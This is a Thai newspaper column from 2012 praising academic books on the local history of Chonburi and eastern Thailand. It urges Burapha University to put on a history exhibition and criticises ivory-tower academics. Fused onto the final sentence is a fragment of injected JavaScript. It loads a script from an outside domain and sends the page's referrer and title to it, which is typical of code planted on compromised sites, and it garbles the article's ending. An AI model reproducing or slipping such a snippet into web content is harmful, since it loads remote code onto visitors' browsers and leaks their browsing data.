มติชนรายวัน ฉบับประจำวันศุกร์ที่ 20 มกราคม 2555

 

          อ. ภารดี มหาขันธ์ (อาจารย์ผู้ใหญ่สาขาวิชาไทยศึกษา คณะมนุษยศาสตร์และสังคมศาสตร์ ม. บูรพา ชลบุรี) มีหนังสือวิชาการหลายเล่มออกมาแบ่งปันเผยแพร่ เช่น

          1. การตั้งถิ่นฐานและพัฒนาการของภาคตะวันออกยุคต้น (ยุคก่อนประวัติศาสตร์-รัตนโกสินทร์ตอนต้น), 2. พัฒนาการทางประวัติศาสตร์ชลบุรี และ 3. ตระกูลแซ่ในจังหวัดชลบุรี : วิถีและพลัง (งานวิจัยร่วมกับ อ. นันท์ชญา มหาขันธ์), ฯลฯ


 

          หนังสือ 3 เล่มนี้ เป็นความรู้พื้นฐานสำคัญมากของประวัติศาสตร์สังคมในท้องถิ่นภาคตะวันออกของไทย โดยเฉพาะ จ. ชลบุรี

          มีนักท่องเที่ยวไปชลบุรีปีละหลายล้านคน นักท่องเที่ยวจำนวนไม่น้อยแวะไปดูพิพิธภัณฑ์สัตว์น้ำที่ ม. บูรพา บางแสน

          ถ้าจะมีแก่ใจให้คนชลบุรีและคนภาคตะวันออกรู้รากเหง้าหัวนอนปลายตีนตัวเองบ้าง ทาง ม. บูรพา น่าจะจัดสถานที่พอสมควรแสดงนิทรรศการบอกความเป็นมาของชลบุรี และภาคตะวันออกโดยรวมไว้ใกล้ๆ พิพิธภัณฑ์สัตว์น้ำ

          เช่น ความรู้เกี่ยวกับ “เจ้าแม่โคกพนมดี” อายุ 3,000 ปีมาแล้ว ที่โคกพนมดี อ. พนัสนิคม จ. ชลบุรี

          ทั้งนี้ โดยสรุปย่อข้อมูลจากงานวิจัย ของ อ. ภารดี แล้วปรับให้สั้นๆ อ่านง่ายๆ มีรูปและแผนผังกับแผนที่ประกอบ

          พร้อมทั้งพิมพ์แผ่นพับแจกเป็นประจำ มีคำอธิบายง่ายๆ เช่น ชลบุรี, บางแสน, หนองมน, ฯลฯ แปลว่าอะไร? หมายถึงอะไร?

          ถ้าจะว่ากันตามหลักการแล้ว สิ่งที่ยกมานี้ล้วนเป็นความรู้พื้นฐานด้านมนุษยศาสตร์และสังคมศาสตร์ที่สถาบันการศึกษาทุกแห่ง ต้องมีไว้ให้เป็นที่รู้ทั่วกันของนักศึกษาและอาจารย์ทุกสาขา รวมทั้งสายวิทยาศาสตร์และสายอาชีพทั้งหลาย เพราะนี่คือความรู้พื้นฐานของการดำรงชีวิต หรือความรู้เพื่อความเป็นมนุษย์

          ฉะนั้นไม่ว่าเรียนวิชาที่คิดว่าวิเศษอย่างไรก็ไม่พ้นความเป็นมนุษย์กินขี้ปี้นอนเหมือนกันหมดทุกสาขาวิชาการ

          แต่ทั้งหมดนี้ อย่าทำอย่าง “ข้าราชวิชาการ” (แปลว่า นักวิชาการที่มีสำนึกเป็นข้าราชการ) ต้อง “บริหารจัดการ” ข้อมูลวิชาการอย่างทันสมัยด้วยมืออาชีพ

          แต่อาจารย์มหาวิทยาลัยไทยส่วนมากมีสำนึกแบบ “ข้าราชวิชาการ” บนหอคอยงาช้าง เลยหวังอะไรได้ยากมาก ดังเห็นเป็นพยานทั่วไป

          นานนับสิบปีมาแล้ว เคยมีมหาเศรษฐีนิคมอุตสาหกรรมย่านบางปะกง ชลบุรี ให้เจ้าหน้าที่มาขอให้ผมเขียน “สคริปต์” จัดแสดงในมิวเซียมภาคตะวันออกของไทยที่จะสร้างใหม่ให้มหาวิทยาลัยในชลบุรี

          ครั้งนั้นฟังแล้วไม่น่าเชื่อว่าจะเป็นไปได้ แต่ผมทั้งค้นทั้งคว้าแล้วเขียนส่งให้อย่างรวดเร็วสุดใจขาดดิ้น อย่างน้อยสนองคุณที่อุตส่าห์คิดทำมิวเซียม

          นับแต่บัดนั้นจนบัดนี้ไม่มีอะไรในกอไผ่ แม้หน่อไม้หน่อเดียวก็ไม่มี

          ทุกวันนี้ภาคตะวันออกมีเศรษฐกิจมั่งคั่ง แต่ความรู้ท้องถิ่นไม่มั่นคง เสมือนเศรษฐีขาดไฟส่องฝั่งทะเลตะวันออกs.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;